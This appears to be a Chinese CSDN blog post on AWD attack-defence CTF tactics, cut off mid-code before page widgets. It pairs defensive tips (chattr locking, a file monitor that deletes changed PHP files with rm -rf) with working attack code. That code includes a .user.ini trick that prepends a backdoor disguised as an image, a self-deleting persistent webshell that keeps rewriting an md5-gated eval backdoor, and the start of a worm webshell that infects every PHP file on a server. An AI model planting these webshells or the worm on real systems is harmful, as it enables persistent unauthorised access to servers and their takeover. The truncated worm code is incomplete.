awd的那些事

本文介绍了多种Web防御措施,包括使用chattr命令保护文件不被删除,设置文件监控脚本,利用.user.ini文件进行PHP文件包含,以及探讨不死马维权、蠕虫webshell、大马等攻击手段。同时,提到了自动化删站脚本和提交flag的自动化脚本,以及利用软链接技巧。
摘要由CSDN通过智能技术生成

#防守
##常规步骤:备份,上waf
###利用chattr命令给文件上锁,防止被删站
chatter: 锁定文件,不能删除,不能更改
+a: 只能给文件添加内容,但是删除不了,
chattr +a /etc/passwd
-d: 不可删除
加锁:chattr +i /etc/passwd 文件不能删除,不能更改,不能移动
查看加锁: lsattr /etc/passwd 文件加了一个参数 i 表示锁定
解锁:chattr -i /home/omd/h.txt - 表示解除


##文件监控脚本

#!/usr/bin/python
#coding=utf-8
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt

import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
    #command: find -name '*.php' -mmin -10
    command = "find -name \'*.php\' -mmin -10"
    su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    STDOUT,STDERR = su.communicate()
    list = STDOUT.split("\n")
    #print str(list)
    #将文件处理成list类型然后返回。
    return list


#读取文件:
def loadfile(addr):
    data = ""
    #如果文件不存在就跳出函数
    try :
        file = open(addr,'r')
        data = file.read()
    except : 
        return 0
    all_data = addr+"\n"+data+"\n\n"
    file1 = open("shell.txt",'a+')
    #避免重复写入
    try:
        shell_content = file1.read()
    except:
        shell_content = "null"
    #如果文件内容不为空再写入,避免写入空的。
    #print shell_content
    if data :
        if all_data not in shell_content:
            file1.write(all_data)
    file.close()
    file1.close()
    rm_cmd = "rm -rf "+addr
    su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    su.communicate()
    print "loadfile over : "+addr


if __name__ == '__main__':
    while True:


        list = scanfile()
        if list :
            for i in range(len(list)):
                #如果list[i]为空就不读取了
                if list[i]:
                    loadfile(str(list[i]))
        else : pass

##利用.user.ini配置文件使所有的php文件包含指定文件
###常规操作:使所以php文件都包含waf

auto_prepend_file=waf.php//具体路径和根据实际情况自行改写

###Sao操作:
分别创建两个php文件一个命名为6.php一个为2.jpg

//6.php
<?php
echo '66666' 
?>
//2.jpg
<?php
if(@$_GET['shell']=='test'){
   
       phpinfo();
    }
?>

创建.user.ini配置文件
auto_prepend_file=2.jpg
访问6.php http://127.0.0.1/1/6.php在这里插入图片描述

url后加上?shell=test后访问在这里插入图片描述

php语句被成功执行
具体用来做什么就看你自己的脑洞了


攻击
常规操作:不死马维权

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.logout.php';
$code = '<?php if(md5($_GET["pass"])=="21232f297a57a5a743894a0e4a801fc3"){eval($_POST["a"]);} ?>';
while (1){
   
	file_put_contents($file,$code);
	usleep(8);
}
?>

激活不死马:访问 不死马地址?pass=admin (ps:21232f297a57a5a743894a0e4a801fc3是admin的md5值)
不死马使用:激活后会每隔8秒生成一个.logout.php文件,这是个md5加密的马(如果有文件包含可以生成其他格式的马,利用文件包含将其解析成php)。利用蚁剑连接,地址:不死马地址?pass=admin 密码a
恶心的操作:蠕虫webshell实现批量挂马
蠕虫webshell是实行批量挂马的操作,利用此webshell可以在所有php文件中加上shell语句的包括phpmyadmin文件,可能唯一的解决方法就是删站
shell文件:

<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头,如果没有,就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
$arr_dir = array();
//全局变量,扫到的文件夹
$files = array();
//全局变量,扫到的文件
if (!function_exists('Url_Check')) {
   
	function Url_Check() {
   
		$pageURL = 'http';
		if ($_SERVER["HTTPS"] == "on") {
   
			$pageURL .= "s";
		}
		$pageURL .= '://';
		$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
		return $pageURL;
	}
	function file_check($dir) {
   
		//扫描文件夹
		global $arr_dir;
		global $files;
		if (is_dir($dir)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值